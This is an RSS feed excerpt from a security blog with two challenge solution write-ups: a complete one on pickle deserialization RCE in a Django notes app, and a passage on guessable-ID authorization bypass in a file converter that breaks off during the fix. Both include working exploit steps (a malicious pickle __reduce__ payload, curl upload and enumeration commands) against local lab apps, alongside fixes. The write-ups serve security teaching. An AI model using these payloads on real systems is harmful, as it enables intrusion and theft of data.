            <content:encoded><![CDATA[<blockquote><em>📢 The solution to </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/005-notekeeper"><strong><em>Challenge #5: Notekeeper</em></strong></a><em> is live. Watch the video walkthrough </em><a href="https://youtu.be/r3or6Yig_t0"><em>here</em></a><em>, or read the full write-up on </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/005-notekeeper/SOLUTION.md"><em>GitHub</em></a><em>.</em></blockquote><p>The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.</p><p>If you haven’t attempted the challenge yet, this is your cue to stop reading, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/">clone the repo</a>, and try it yourself first. Everything below assumes you’ve already had a go at it — the exercise is worth more if you struggle with it a bit before seeing the answer.</p><p>Two quick announcements before we get into it:</p><ul><li><strong>Challenge #6</strong> is already live in the repo under challenges/ <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/006-filedrop">here</a>. The solution to it will follow in two weeks.</li><li>The repo uses <strong>GitHub Releases</strong> for every new challenge and solution drop. If you go to <strong>Watch → Custom → Releases</strong> on the repo, you’ll get notified automatically instead of having to check back manually.</li></ul><p>With that out of the way, let’s walk through Notekeeper the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.</p><h3>A Quick Reminder of What We’re Reviewing</h3><p>Notekeeper is a personal note manager: sign up, log in, create/edit/delete your own notes, and — the feature that matters — <strong>export</strong> all your notes to a file and <strong>import</strong> them back. Unlike some earlier challenges, there’s no external converter binary, no headless browser, no outbound HTTP. It’s a stock Django app, and that turns out to be most of the story: the framework closes almost every classic sink for you. Almost.</p><h3>Part I — Building the Mental Model</h3><h3>1. 🗺️ Application Scope &amp; Architecture</h3><p>As always, the first move is spinning the app up and clicking through it — sign up, log in, save a couple of notes, edit one, delete one, then export the lot to a file and import it back. Nothing surprising in the UI; the interesting part is what’s wired together underneath.</p><p>The best way to understand an unfamiliar codebase is to tell it as a story, and here there are two worth telling: <strong>what happens when the app starts</strong>, and <strong>what happens when a user logs in and uses it</strong>.</p><p><strong>Story one — starting the app.</strong> docker compose up reads docker-compose.yml, which declares two containers: a stock postgres:16 image (a black box — not our code) and an app container built locally from the repo&#39;s Dockerfile. That Dockerfile is a python:3.12-slim image that installs the requirements and runs entrypoint.sh as a non-root appuser. The entrypoint waits for Postgres, applies migrations, seeds a demo and an admin account, then starts Django:</p><pre>exec python manage.py runserver 0.0.0.0:8000</pre><p>The framework is <strong>Django 5.2</strong>, and settings.py is where the security-relevant wiring lives — specifically the global middleware that runs on every request:</p><pre>MIDDLEWARE = [<br>    &#39;django.contrib.sessions.middleware.SessionMiddleware&#39;,      # cookie sessions<br>    &#39;django.middleware.csrf.CsrfViewMiddleware&#39;,                 # CSRF protection<br>    &#39;django.contrib.auth.middleware.AuthenticationMiddleware&#39;,   # request.user<br>    ...<br>]</pre><p>That’s three controls the framework is handling for us before we’ve written a line of app code: SessionMiddleware + AuthenticationMiddleware populate request.user from the session cookie, and CsrfViewMiddleware enforces a CSRF token on every unsafe method. Routes are mapped in urls.py — Django&#39;s built-in login, a custom signup/logout, the notes CRUD endpoints, and the import/export pair — all handled by notes/views.py. There&#39;s a built-in Django <strong>admin</strong> portal on /admin too, but that&#39;s framework code, gated on the admin account, and not something we wrote. The data store is PostgreSQL, reached exclusively through the <strong>Django ORM</strong>; the only model is Note — a user foreign key plus title and content.</p><p><strong>Story two — log in, use the app.</strong> Login goes through Django’s built-in LoginView, which sets the session cookie; from there every notes view carries @login_required, a decorator that runs before the handler and checks the session. Create/list/get/update/delete all scope their queries to request.user. The one part worth reading slowly is export/import:</p><pre># export_notes<br>serialized = pickle.dumps(list(notes.values()))<br>return HttpResponse(base64.b64encode(serialized), content_type=&#39;text/plain&#39;)<br><br># import_notes<br>data = base64.b64decode(request.FILES[&#39;import_file&#39;].read())<br>notes_data = pickle.loads(data)                     # ← uploaded bytes<br>for note_data in notes_data:<br>    Note.objects.create(user=request.user, title=note_data[&#39;title&#39;], content=note_data[&#39;content&#39;])</pre><p>Export serializes your notes with Python’s <strong>pickle</strong> module and base64-encodes them; import base64-decodes an <strong>uploaded file</strong> and calls pickle.loads() on the result. Note that asymmetry without judging it yet — the bytes fed to pickle.loads() come straight from a file the user hands us.</p><h3>2. 🚪 Entry Points</h3><p>Registration and login are open; every notes route requires an authenticated session.</p><ul><li>GET/POST /accounts/login/, /accounts/signup/ — <em>auth:</em> none — username/password.</li><li>GET / — <em>auth:</em> user — renders the caller&#39;s own notes.</li><li>POST /create_note/ — <em>auth:</em> user — title, content.</li><li>GET /get_note/&lt;id&gt;/, POST /update_note/&lt;id&gt;/, POST /delete_note/&lt;id&gt;/ — <em>auth:</em> user — id path param.</li><li>GET /export_notes/ — <em>auth:</em> user — none.</li><li><strong>POST /import_notes/ — <em>auth:</em> user — an uploaded file (</strong><strong>import_file).</strong></li></ul><h3>3. 🎯 Dangerous Sinks</h3><p>Sinks are the operations where untrusted input could change what the program <em>does</em>, not just where it flows:</p><ul><li><strong>pickle.loads(data) on uploaded bytes</strong> → insecure deserialization / RCE. Fed from request.FILES[&#39;import_file&#39;].</li><li><strong>Template rendering of </strong><strong>note.title / </strong><strong>note.content</strong> → stored XSS <em>if</em> unescaped.</li><li><strong>ORM lookups built from the </strong><strong>&lt;id&gt; path param and form fields</strong> → SQL injection <em>if</em> raw.</li></ul><h3>4 &amp; 5. 🧩 Threat Modeling and 🔍 Mitigation Review</h3><p>The candidate list for this app is the classic set — authentication, authorization/IDOR, CSRF, XSS, SQL injection, and insecure deserialization. Because it’s a stock framework app, the interesting question is less “is each one possible?” and more “which one did the framework <em>not</em> cover?” I checked each against the code.</p><p><strong>🔓 Business logic first.</strong></p><p><em>Authentication</em> — every notes view carries @login_required, backed by Django&#39;s AuthenticationMiddleware. This is well-tested framework auth, not something hand-rolled; strip the session cookie in Burp and every route redirects to login. ✅ Mitigated.</p><p><em>Authorization — object-level ownership.</em> With multiple users, the assumption is that one user can’t read or mutate another’s notes — i.e. no IDOR. Every query here is scoped to the caller: the list uses Note.objects.filter(user=request.user), and single-object routes use get_object_or_404(Note, id=note_id, user=request.user) — the user= clause is baked into the lookup, so another user&#39;s ID resolves to <strong>404</strong>, not their note. Import is careful too: it never trusts a user ID from the uploaded file, always setting user=request.user. ✅ Mitigated.</p><p><em>CSRF</em> — CsrfViewMiddleware is enabled globally, every form emits {% csrf_token %}, and the fetch() calls send the X-CSRFToken header. By default Django rejects any unsafe method missing the token with a 403. ✅ Mitigated.</p><p><strong>💉 Source-to-sink next.</strong></p><p><em>XSS</em> — Django templates auto-escape by default. {{ note.title }} / {{ note.content }} are HTML-escaped, and the JS handlers use the escapejs filter. There&#39;s no |safe, mark_safe, or autoescape off anywhere, so a &lt;script&gt; note renders inert. ✅ Mitigated.</p><p><em>SQL injection</em> — all database access goes through the Django ORM, which parameterizes queries. No raw(), .extra(), or cursor SQL. ✅ Mitigated. (It&#39;s PostgreSQL, so NoSQL injection doesn&#39;t apply either.)</p><p><em>Insecure deserialization</em> — here’s where it stops. import_notes calls pickle.loads() on bytes taken directly from an uploaded file. It&#39;s easy to miss if you don&#39;t already know pickle is dangerous — the pickle <a href="https://docs.python.org/3/library/pickle.html">docs</a> <em>look</em> like any other serialization library. But scroll to the top of that page and there&#39;s a red warning box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*ihS5blMbZgVwgOra.png" /></figure><p><strong>🔦 A note on tooling.</strong> You don’t have to catch this by eye. In an earlier challenge a container scan (Grype) surfaced a vulnerable <em>dependency</em>; here the sink is in our own code, so a SAST scanner is the right tool. semgrep scan flags it directly:</p><pre>notes/views.py<br>   ❯❯❱ python.django.security.audit.avoid-insecure-deserialization<br>         Avoid using insecure deserialization library, backed by `pickle` ...<br>          87┆ notes_data = pickle.loads(data)</pre><p>SAST is good at locating a dangerous sink. What it <em>can’t</em> decide for you is whether the input is genuinely attacker-controlled and whether anything upstream neutralizes it — that source→sink reachability call is still the reviewer’s job. (And note the contrast with the IDOR class from Challenge #4: a missing ownership check has no telltale sink, so no scanner flags it at all.)</p><h3>Part II — Finding, Exploiting, and Fixing the Bug</h3><h3>6. 🧪 The Vulnerability: Insecure Deserialization → RCE</h3><p><strong>Class:</strong> Insecure Deserialization → Remote Code Execution — <a href="https://cwe.mitre.org/data/definitions/502.html">CWE-502</a>. OWASP <strong>A08:2021 — Software and Data Integrity Failures</strong>.</p><p><strong>Why it works.</strong> pickle isn&#39;t a data format — it&#39;s a mini <strong>stack language</strong> for reconstructing Python objects, and part of that language is <em>calling things</em>. When an object defines __reduce__, unpickling calls the callable it returns with the arguments it returns. So an attacker ships an object whose __reduce__ returns (os.system, (&quot;&lt;cmd&gt;&quot;,)), and the command runs <strong>the instant </strong><strong>pickle.loads() parses the stream</strong> — before the surrounding code (the for loop, the note_data[&#39;title&#39;] access) ever runs.</p><p>That ordering explains a detail you see during exploitation: the request still returns a JSON <strong>error</strong> (&#39;int&#39; object is not iterable). After os.system runs it returns an exit code (0), pickle hands that back as the &quot;deserialized object,&quot; and for note_data in 0: then chokes. <strong>The error is cosmetic — the command already executed.</strong> The try/except around the loop protects nothing, because the dangerous work happens inside pickle.loads() itself. And the app hands you the exact wire format for free: GET /export_notes/ shows an import file is just base64(pickle_bytes), so there&#39;s nothing to reverse-engineer.</p><h3>🚀 Exploitation</h3><p>Authenticate as any user (registration is open), craft a malicious pickle, and upload it through Import Notes.</p><pre># 0) Log in as the seeded demo user, keeping cookies + CSRF token<br>curl -s -c cj.txt http://localhost:8000/accounts/login/ -o login.html<br>CSRF=$(grep csrfmiddlewaretoken login.html | sed -E &#39;s/.*value=&quot;([^&quot;]+)&quot;.*/\1/&#39; | head -1)<br>curl -s -b cj.txt -c cj.txt http://localhost:8000/accounts/login/ \<br>  -H &quot;Referer: http://localhost:8000/accounts/login/&quot; \<br>  -d &quot;csrfmiddlewaretoken=$CSRF&amp;username=demo&amp;password=demo12345&amp;next=/&quot; -o /dev/null<br><br># 1) Build the payload: __reduce__ makes unpickling call os.system(...)<br>python3 - &lt;&lt;&#39;PY&#39;<br>import pickle, base64, os<br>class Exploit:<br>    def __reduce__(self):<br>        return (os.system, (&#39;id &gt; /tmp/pwned_by_pickle.txt; echo RCE-OK&#39;,))<br>open(&#39;exploit.txt&#39;,&#39;wb&#39;).write(base64.b64encode(pickle.dumps(Exploit())))<br>PY<br><br># 2) Upload it through the Import Notes endpoint<br>CSRFCOOKIE=$(grep csrftoken cj.txt | awk &#39;{print $7}&#39;)<br>curl -s -b cj.txt http://localhost:8000/import_notes/ \<br>  -H &quot;X-CSRFToken: $CSRFCOOKIE&quot; -H &quot;Referer: http://localhost:8000/&quot; \<br>  -F &quot;csrfmiddlewaretoken=$CSRFCOOKIE&quot; -F &quot;import_file=@exploit.txt&quot;</pre><p>Real output from the running app:</p><pre># import response — command already ran; the error is the loop choking on os.system&#39;s int return<br>{&quot;status&quot;: &quot;error&quot;, &quot;message&quot;: &quot;&#39;int&#39; object is not iterable&quot;}   HTTP 400<br><br># proof the command executed INSIDE the app container:<br>$ docker exec notekeeper_app sh -c &#39;cat /tmp/pwned_by_pickle.txt&#39;<br>uid=1001(appuser) gid=1001(appuser) groups=1001(appuser)</pre><p>For contrast, exporting real notes and re-importing that file succeeds with {&quot;status&quot;: &quot;success&quot;} and recreates the notes — same endpoint, benign payload.</p><p><strong>Impact:</strong> any authenticated user — and registration is open, so effectively any attacker — achieves <strong>remote code execution</strong> as appuser: full read/write of the app&#39;s data and secrets, lateral movement to the PostgreSQL container over the compose network, and a foothold for persistence. A complete compromise of the app tier, gated only by a trivially obtainable login.</p><h3>7. 🛠️ The Fix</h3><p><strong>Primary fix — never deserialize untrusted input with </strong><strong>pickle; use a data-only format (JSON).</strong> JSON can&#39;t instantiate arbitrary objects or call code, so export and import round-trip safely:</p><pre>import json<br><br>@login_required<br>def export_notes(request):<br>    notes = Note.objects.filter(user=request.user).values(&#39;title&#39;, &#39;content&#39;)<br>    return JsonResponse(list(notes), safe=False)<br><br>@login_required<br>def import_notes(request):<br>    if request.method != &#39;POST&#39;:<br>        return JsonResponse({&#39;status&#39;: &#39;error&#39;}, status=400)<br>    try:<br>        notes_data = json.loads(request.FILES[&#39;import_file&#39;].read().decode(&#39;utf-8&#39;))<br>        for nd in notes_data:                     # validate shape/length before trusting it<br>            Note.objects.create(user=request.user,<br>                                 title=str(nd[&#39;title&#39;])[:100],<br>                                 content=str(nd[&#39;content&#39;]))<br>        return JsonResponse({&#39;status&#39;: &#39;success&#39;})<br>    except (ValueError, KeyError, TypeError) as e:<br>        return JsonResponse({&#39;status&#39;: &#39;error&#39;, &#39;message&#39;: str(e)}, status=400)</pre><p>As with every challenge in this series, that one fix shouldn’t be the only control:</p><ul><li><strong>Validate on the server</strong>, not just the accept= attribute — enforce content type, size limits, and a strict schema on the parsed data.</li><li><strong>If a binary interchange format is truly required</strong>, sign exported blobs (Django’s signing / HMAC) and verify before parsing, so only data the server itself produced is accepted. pickle stays unsafe even then — prefer a schema-bound format.</li><li><strong>Least privilege / blast radius</strong> — the app already runs as non-root; keep it that way, restrict the DB user’s grants, and lock down egress from the app container so an RCE can’t pivot freely.</li><li><strong>Static analysis in CI</strong> — flag pickle.loads / yaml.load / marshal on request-derived data (Bandit B301/B403, or the Semgrep rule above) so this class is caught on the pull request, not in prod.</li></ul><h3>Why This Matters Beyond This One App</h3><p>Notekeeper is almost the inverse of Challenge #4. There, every individual control was well-built and the gap was a <em>missing</em> check (ownership). Here, the framework hands you correct auth, authorization, CSRF, XSS, and SQL-injection defenses essentially for free — and the bug is one line that steps <em>outside</em> the framework’s guarantees to do its own (de)serialization with a tool that was never safe for untrusted input.</p><p>The reviewer’s habit that catches this: treat pickle.loads, yaml.load (unsafe loader), marshal, or any native-deserialize call sitting on a path from user input as an <strong>RCE sink until proven otherwise</strong> — the same reflex you&#39;d apply to unescaped output. And when you find one, the fix is almost never &quot;wrap it in try/except,&quot; because the code runs <em>during</em> deserialization, before your handler gets control. The fix is &quot;don&#39;t deserialize untrusted data with that mechanism at all.&quot; <em>Deserialization is code execution in disguise</em> — pickle (Python), Java native serialization, Ruby Marshal, PHP unserialize all reconstruct objects by invoking callables, so feeding them untrusted bytes is equivalent to running attacker code.</p><p><strong>Real-world grounding:</strong> <a href="https://www.toreon.com/how-i-discovered-vulnerability-cve-2024-2912/">CVE-2024–2912 — BentoML</a> is the same root cause in a widely used AI model-serving framework: untrusted input reaching pickle-style deserialization, yielding RCE. Models get shared and loaded like data, the loader unpickles them, and a malicious model runs code — Notekeeper’s bug at ecosystem scale.</p><h3>Wrapping Up</h3><p>If you worked through Notekeeper yourself, I’d like to know: did the pickle.loads() jump out at you the moment you saw it in import_notes, or did the wall of correctly-secured Django around it lull you into scrolling past — the way a framework&#39;s good defaults can quietly convince you the whole file is safe?</p><p>Challenge #6 is live now if you’re ready for the next one, and I’ll be back in two weeks with its solution and a new challenge alongside it.</p><p><strong>Links:</strong></p><ul><li>🎥 Video walkthrough: <a href="https://youtu.be/r3or6Yig_t0">https://youtu.be/r3or6Yig_t0</a></li><li>📄 Full solution write-up: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/005-notekeeper/SOLUTION.md">SOLUTION.md</a></li><li>📂 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">the-secure-code-review-challenge</a></li><li>🧩 Try Challenge #5: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/005-notekeeper">challenges/005-notekeeper</a></li><li>🧩 Try Challenge #6: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/006-filedrop">challenges/006-filedrop</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK9EwCcCBWh4JqjV7HO-9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c27b745ff7b5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-5-notekeeper-insecure-deserialization-c27b745ff7b5">The Secure Code Review Challenge — Solution #5: Notekeeper (Insecure Deserialization)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Secure Code Review Challenge — Solution #4: File Converter (A Guessable ID Is an Accessible ID)]]></title>
            <link>https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-4-file-converter-a-guessable-id-is-an-accessible-id-a7889cfc9144?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/a7889cfc9144</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Thu, 03 Sep 2026 21:49:05 GMT</pubDate>
            <atom:updated>2026-09-03T21:49:05.389Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>📢 The solution to </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/004-file-converter"><strong><em>Challenge #4: File Converter</em></strong></a><em> is live. Watch the video walkthrough </em><a href="https://youtu.be/R_xdc6y9Rho"><em>here</em></a><em>, or read the full write-up on </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/004-file-converter/SOLUTION.md"><em>GitHub</em></a><em>.</em></blockquote><p>The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.</p><p>If you haven’t attempted the challenge yet, this is your cue to stop reading, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/">clone the repo</a>, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.</p><p>Two quick announcements before we get into it:</p><ul><li><strong>Challenge #5</strong> is already live in the repo under challenges/ <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/005-notekeeper">here</a>. The solution to it will follow in two weeks.</li><li>The repo uses <strong>GitHub Releases</strong> for every new challenge and solution drop. If you go to <strong>Watch → Custom → Releases</strong> on the repo, you’ll get notified automatically instead of having to check back manually.</li></ul><p>With that out of the way, let’s walk through File Converter the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.</p><h3>A Quick Reminder of What We’re Reviewing</h3><p>File Converter is an asynchronous document-conversion service — register, log in, upload a file, wait for it to convert in the background, download the result. Unlike Dice, this one <em>does</em> have accounts, sessions, and per-user data, so the full range of business-logic checks is back on the table alongside the usual injection concerns.</p><h3>Part I — Building the Mental Model</h3><h3>1. 🗺️ Application Scope &amp; Architecture</h3><p>As always, the first move is spinning the app up and clicking through it — register, log in, upload a Markdown file, convert it to .docx, download the result. No surprises in the UI itself; the interesting part is what&#39;s wired together underneath.</p><p>The best way to understand an unfamiliar codebase is to tell it as a story, and here there are two stories worth telling: <strong>what happens when the app starts</strong>, and <strong>what happens when a user logs in, uploads a file, and downloads the result</strong>.</p><p><strong>Story one — starting the app.</strong> docker compose up reads docker-compose.yml, which declares two containers: a stock mongo image (a black box — not our code) and an app container built locally from the repo&#39;s Dockerfile. That Dockerfile installs Pandoc and a LaTeX toolchain, then runs node app.js as the entrypoint.</p><p>app.js creates the Express app, connects to Mongo on startup, and attaches global middleware that runs on <em>every</em> request:</p><pre>app.use(express.json());                 // parse JSON bodies<br>app.use(mongoSanitize());                // express-mongo-sanitize → strips $/. keys (NoSQLi guard)<br>app.use((req, res, next) =&gt; { res.setHeader(&#39;Content-Security-Policy&#39;, ...) }); // CSP<br>app.use(session({ cookie: { httpOnly: true, sameSite: &#39;lax&#39; } })); // express-session</pre><p>Three routers are mounted over one shared data store: /api/auth (register/login, hashing passwords with bcrypt), /api (the conversion API, uploads handled by multer), and / (server-rendered pages via ejs). Both routers reach MongoDB through one wrapper exposing two collections — users and jobs.</p><p>The conversion itself runs in the background by shelling out to Pandoc via execFile (no shell) with the --sandbox flag:</p><pre>const args = [&#39;--sandbox&#39;, &#39;-f&#39;, reader, inputPath, &#39;-o&#39;, outputPath];<br>execFile(&#39;pandoc&#39;, args, { timeout: 30000 }, ...);</pre><p><strong>Story two — log in, upload, download.</strong> Logging in checks the stored bcrypt hash and, on success, writes the user&#39;s ID into the session (req.session.userId = user.id). Every protected route then checks that session — the API&#39;s requireAuth returns 401 with no session, the UI&#39;s requireUser redirects to /login.</p><p>Uploading (POST /api/convert) chains requireAuth → assigns a job ID → multer saves the file under a <strong>server-generated name</strong> (job ID + validated extension, not the user&#39;s original filename) → a job document is created tying the file to its owner → conversion runs in the background, flipping the job&#39;s status to completed when Pandoc finishes.</p><p>Downloading (GET /api/convert/:jobId/download, or the UI twin GET /jobs/:jobId/download) fetches the job <strong>by its job ID</strong> and streams the output file back.</p><p>That last sentence is worth re-reading once we get to the mitigation review.</p><h3>2. 🚪 Entry Points</h3><ul><li><strong>POST /api/auth/register, </strong><strong>/api/auth/login</strong> — <em>auth:</em> none — takes username, email, password.</li><li><strong>POST /api/convert</strong> — <em>auth:</em> session — takes an uploaded file and targetFormat.</li><li><strong>GET /api/convert/:jobId</strong> — <em>auth:</em> session — takes <strong>jobId (path param)</strong>.</li><li><strong>GET /api/convert/:jobId/download</strong> — <em>auth:</em> session — takes <strong>jobId (path param)</strong>.</li><li><strong>POST /register, </strong><strong>/login, </strong><strong>/convert</strong> (UI) — same inputs as above, session on convert.</li><li><strong>GET /jobs/:jobId, </strong><strong>/jobs/:jobId/download</strong> (UI) — <em>auth:</em> session — takes <strong>jobId (path param)</strong>.</li></ul><p>Several routes take a client-supplied jobId path parameter that identifies a stored object — that pattern alone is worth flagging before we&#39;ve even opened the threat model.</p><h3>3. 🎯 Dangerous Sinks</h3><p>Sinks are the operations where untrusted input could change what the program <em>does</em>, not just where it flows:</p><ul><li><strong>MongoDB queries built from request data</strong> → NoSQL injection. Login/lookup pass body fields into findOne(...).</li><li><strong>OS command execution: </strong><strong>execFile(&#39;pandoc&#39;, …)</strong> → command / argument injection. The converter spawns an external binary with arguments derived from the upload.</li><li><strong>Pandoc’s document processing itself</strong> → SSRF / local-file read / RCE. While converting, Pandoc can resolve URLs and local paths referenced by the document and hand raw TeX to the PDF engine — so the <em>uploaded document contents</em> are themselves a sink.</li><li><strong>Filesystem path operations</strong> → path traversal. Paths are built for the stored upload, the conversion output, and the download stream.</li><li><strong>HTML/template rendering</strong> → XSS. User-controlled fields (filename, username) are rendered into pages.</li></ul><h3>4 &amp; 5. 🧩 Threat Modeling and 🔍 Mitigation Review</h3><p><strong>🔓 Business logic first.</strong></p><p><em>Authentication</em> — every state-changing or data route sits behind requireAuth / requireUser. ✅ Present, and easy to verify independently of reading the code: strip or corrupt the session cookie in Burp and every one of those routes redirects to /login or returns 401 instead of doing the thing.</p><p><em>CSRF</em> — the session cookie is set with sameSite: &#39;lax&#39;, which keeps it off cross-site form POSTs in any reasonably current browser. A lax flag is a real, if browser-dependent, mitigation — a CSRF token would be more robust since it doesn&#39;t rely on the browser at all, but lax is good enough here that this isn&#39;t the planted bug. ✅ Adequately mitigated for this design.</p><p><em>Authorization — object-level ownership.</em> This is where it falls apart. The expectation (OWASP <strong>API1:2023 — Broken Object Level Authorization</strong>) is that every per-object route confirms the object belongs to the caller. What the code actually does: the job routes authenticate the caller, then look the job up <strong>by ID only</strong>:</p><pre>router.get(&#39;/convert/:jobId/download&#39;, requireAuth, async (req, res) =&gt; {<br>  const { jobId } = req.params;<br>  const job = await db.findJobByJobId(jobId);   // looked up by ID only<br>  if (!job) return res.status(404)...;<br>  // ⚠️ no check that job.userId === req.user.id<br>  res.download(job.outputPath, filename, ...);  // streams whoever&#39;s file it is<br>});</pre><p>There’s no comparison of job.userId to req.user.id anywhere — not in the middleware, not in the handler, not in the database lookup. <strong>The tell</strong>: the dashboard listing <em>does</em> scope by owner (findJobsByUserId(userId) filters { userId }), so the ownership concept clearly exists in the codebase. It just was never applied to the routes that fetch a <em>single</em> object. ❌ Not mitigated — this is the planted flaw.</p><p><strong>💉 Source-to-sink next.</strong></p><p>Before trusting the app code, it’s worth clearing the dependencies too: this image ships far more than package.json shows — Pandoc + LaTeX drags in roughly 425 OS/npm packages, so a container scan is the right move. grype 004-file-converter-app:latest --only-fixed comes back clean; a full scan surfaces only unfixable base-image noise plus one Pandoc SSRF CVE the code already mitigates (more on that below). No CVE database has an entry for &quot;this endpoint forgot to check who owns the record,&quot; so the scan is a filter here, not the finding — clearing the dependencies is what leaves the authorization gap as the answer.</p><p>Every injection sink checks out as genuinely mitigated:</p><ul><li><strong>NoSQL injection</strong> — express-mongo-sanitize strips $/. keys, so {&quot;username&quot;:{&quot;$ne&quot;:null}} can&#39;t smuggle an operator. ✅</li><li><strong>Command injection</strong> — the app shells out, so this is where it would bite if anywhere. It uses execFile(&#39;pandoc&#39;, args), not exec — execFile runs the binary directly with an argv array and no shell, so ;, |, $() are inert. The arguments aren&#39;t user-controlled anyway (server-generated paths, a fixed reader, --sandbox). ✅</li><li><strong>Pandoc SSRF / local-file read / RCE</strong> — the sink here is Pandoc itself: while converting, it can resolve a remote image URL or read a local path referenced by the document. This is a real, current risk, and the scan even flags it — CVE-2025-51591, a genuine SSRF in Pandoc, negligible severity. The advisory itself prescribes --sandbox as the mitigation, which is exactly what the app already applies: --sandbox blocks all disk and network IO during conversion, and the Markdown reader has raw TeX passthrough disabled. Testing ![x](/etc/passwd) produced a clean output file with no leaked content. ✅</li><li><strong>Path traversal</strong> — the on-disk filename is built from the server-generated job ID, not the user’s original filename, via multer’s diskStorage. The output path is derived from the same job ID, and the download handler streams job.outputPath from the database, not anything user-supplied. ✅</li><li><strong>XSS</strong> — EJS’s &lt;%= %&gt; tag auto-escapes (as opposed to the raw &lt;%- %&gt; tag), a strict CSP is set, and the client renders job status with textContent, not innerHTML. ✅</li></ul><p>Everything an injection-hunter would go chasing is deliberately closed. The one gap is authorization.</p><h3>Part II — Finding, Exploiting, and Fixing the Bug</h3><h3>6. 🧪 The Vulnerability: Broken Object-Level Authorization via Guessable Job IDs</h3><p><strong>Class:</strong> Broken Object-Level Authorization / IDOR — CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862 (Missing Authorization), made trivially enumerable by CWE-340 (Predictable Identifiers). OWASP <strong>API1:2023</strong>.</p><p>Two facts combine to make this exploitable rather than theoretical:</p><p><strong>1. No ownership check</strong>, as shown above — any authenticated user can pass any job ID and get a 200 back with someone else&#39;s data.</p><p><strong>2. Job IDs are guessable.</strong> They’re built as today’s date plus a per-day counter starting at 1:</p><pre>return `${dateDigits}${result.seq}`;   // e.g. 202609031, 202609032, …</pre><p>So an attacker doesn’t even need a leaked link — today’s jobs are just 20260903 followed by 1, 2, 3, …. Authentication here only answers &quot;are you <em>a</em> user,&quot; never &quot;are you <em>this job&#39;s</em> user,&quot; so any registered account can read or download every other account&#39;s conversions.</p><h3>🚀 Exploitation</h3><p>Two users: <strong>alice</strong> uploads a confidential document and converts it; <strong>mallory</strong> — a separate account that never saw the file — reads and downloads it by guessing the job ID.</p><pre># alice (victim) registers, uploads a confidential doc, converts it to docx<br>curl -s -X POST localhost:3000/api/auth/register -H &#39;Content-Type: application/json&#39; -c alice.txt \<br>  -d &#39;{&quot;username&quot;:&quot;alice&quot;,&quot;email&quot;:&quot;alice@example.com&quot;,&quot;password&quot;:&quot;securepass123&quot;}&#39; &gt;/dev/null<br><br>printf &#39;# Alice salary review\n\nAlice earns $200,000. CONFIDENTIAL.\n&#39; &gt; secret.md<br><br>curl -s -X POST localhost:3000/api/convert -b alice.txt \<br>  -F file=@secret.md -F targetFormat=docx        # -&gt; {&quot;jobId&quot;:&quot;202609031&quot;}<br><br># mallory (attacker) - a brand-new account - guesses the ID and steals the file<br>curl -s -X POST localhost:3000/api/auth/register -H &#39;Content-Type: application/json&#39; -c mallory.txt \<br>  -d &#39;{&quot;username&quot;:&quot;mallory&quot;,&quot;email&quot;:&quot;mallory@example.com&quot;,&quot;password&quot;:&quot;securepass123&quot;}&#39; &gt;/dev/null<br><br>curl -s localhost:3000/api/convert/202609031 -b mallory.txt          # reads status of a foreign job<br><br>curl -s localhost:3000/api/convert/202609031/download -b mallory.txt -o stolen.docx</pre><p>Real output from the running app:</p><pre>Attacker (mallory) reads victim&#39;s job status by guessing ID 202609031:<br>{&quot;jobId&quot;:&quot;202609031&quot;,&quot;status&quot;:&quot;completed&quot;,&quot;targetFormat&quot;:&quot;docx&quot;,&quot;outputUrl&quot;:&quot;/api/convert/202609031/download&quot;}<br><br>Attacker downloads victim&#39;s converted file:<br>HTTP 200, 10453 bytes<br>Recovered text from the file mallory stole:<br>   Alice salary review<br>   Alice earns $200,000. CONFIDENTIAL.</pre><p>The UI surface is identical — GET /jobs/202609031/download with mallory&#39;s cookie returns the same bytes, and the UI job page even leaks the victim&#39;s <strong>original filename</strong> before download.</p><p><strong>Impact:</strong> any registered user can enumerate predictable job IDs and read or download every user’s uploaded documents and conversions — plus the original filenames the UI discloses — a full cross-tenant confidentiality break (CWE-639 / API1:2023).</p><h3>7. 🛠️ The Fix</h3><p><strong>Primary fix — enforce ownership on every per-object route.</strong> After loading the job, compare its owner to the caller and 